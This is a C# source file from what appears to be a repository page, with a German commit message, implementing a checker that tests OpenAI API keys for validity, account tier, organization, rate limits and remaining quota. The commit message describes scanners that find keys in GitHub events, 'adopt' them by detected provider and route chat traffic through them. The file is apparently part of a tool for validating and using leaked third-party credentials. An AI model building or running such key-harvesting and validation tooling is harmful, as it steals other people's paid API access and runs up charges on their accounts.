Files
gott/Services/OpenAiKeyChecker.cs
T
Meleki 542a031172 feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs
- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
2026-03-14 11:19:33 +01:00

207 lines
9.1 KiB
C#

using System;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text.Json;
using System.Threading.Tasks;
namespace Gott.Services
{
public class OpenAiCheckResult
{
public string Status { get; set; } // "ok", "invalid", "rate_limited", "quota_exceeded", "error"
public string Message { get; set; }
public string Organization { get; set; }
public string[] Models { get; set; }
public int? RateLimitRpm { get; set; }
public int? RateLimitTpm { get; set; }
}
public static class OpenAiKeyChecker
{
public static async Task<OpenAiCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
{
var client = httpFactory.CreateClient();
client.Timeout = TimeSpan.FromSeconds(30);
var request = new HttpRequestMessage(HttpMethod.Get, "https://api.openai.com/v1/models");
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
var resp = await client.SendAsync(request);
var statusCode = (int)resp.StatusCode;
if (statusCode == 401)
return new OpenAiCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)" };
if (statusCode == 403)
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Keine Berechtigung / Quota erschöpft (403)" };
if (statusCode == 429)
{
// 429 kann Rate-Limit ODER Quota-Exceeded sein → Body prüfen
try
{
var errBody = await resp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp))
{
var code = codeProp.GetString();
if (code == "insufficient_quota")
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Kein Guthaben / Quota erschöpft (429)" };
}
}
catch { /* Body nicht parsbar → als Rate-Limit behandeln */ }
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
}
if (statusCode >= 400)
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key existiert, Modelle extrahieren
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
// Organisation aus Header
string org = null;
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
org = orgValues.FirstOrDefault();
// Modell-Liste extrahieren (nur die interessantesten)
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("data", out var data))
{
var interestingPrefixes = new[] { "gpt-5", "gpt-4", "gpt-3.5", "o1", "o3", "o4", "chatgpt" };
models = data.EnumerateArray()
.Select(m => m.GetProperty("id").GetString())
.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
.Distinct()
.OrderBy(x => x)
.ToArray();
}
// Plan-Erkennung anhand der Modelle
string plan;
if (models.Any(m => m.StartsWith("gpt-5", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 5+";
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 3+";
else if (models.Any(m => m.StartsWith("gpt-4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 2+";
else if (models.Any(m => m.StartsWith("gpt-3.5", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 1";
else
plan = "Free";
// Schritt 2: Echten Chat-Call mit max_tokens=1 um Quota zu prüfen
// /v1/models gibt 200 auch bei quota_exceeded Keys!
var usable = await CheckQuotaAsync(client, apiKey);
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
// Rate-Limits aus dem Chat-Call-Header (falls verfügbar)
if (usable.Rpm.HasValue) msg += " · " + usable.Rpm.Value + " RPM";
if (usable.Tpm.HasValue) msg += " · " + usable.Tpm.Value + " TPM";
if (!usable.HasQuota)
{
var reason = usable.QuotaError == "billing_not_active"
? "Billing inaktiv"
: "Kein Guthaben";
return new OpenAiCheckResult
{
Status = "quota_exceeded",
Message = "⚠️ " + msg + " · " + reason,
Organization = org,
Models = models,
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
return new OpenAiCheckResult
{
Status = "ok",
Message = msg,
Organization = org,
Models = models,
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
catch (Exception ex)
{
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
}
}
private class QuotaResult
{
public bool HasQuota { get; set; }
public string QuotaError { get; set; }
public int? Rpm { get; set; }
public int? Tpm { get; set; }
}
private static async Task<QuotaResult> CheckQuotaAsync(HttpClient client, string apiKey)
{
try
{
var chatReq = new HttpRequestMessage(HttpMethod.Post, "https://api.openai.com/v1/chat/completions");
chatReq.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
chatReq.Content = new StringContent(
"{\"model\":\"gpt-4o-mini\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}],\"max_tokens\":1}",
System.Text.Encoding.UTF8, "application/json");
var chatResp = await client.SendAsync(chatReq);
var chatStatus = (int)chatResp.StatusCode;
int? rpm = null;
int? tpm = null;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
if (chatStatus == 429)
{
try
{
var errBody = await chatResp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp)
)
{
var code = codeProp.GetString();
if (code == "insufficient_quota" || code == "billing_not_active")
{
return new QuotaResult { HasQuota = false, QuotaError = code, Rpm = rpm, Tpm = tpm };
}
}
}
catch { }
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new QuotaResult { HasQuota = true, Rpm = rpm, Tpm = tpm };
}
// 200 = funktioniert, alles andere = vermutlich trotzdem nutzbar
return new QuotaResult { HasQuota = chatStatus < 400, Rpm = rpm, Tpm = tpm };
}
catch
{
// Bei Netzwerkfehler etc. → optimistisch annehmen
return new QuotaResult { HasQuota = true };
}
}
}
}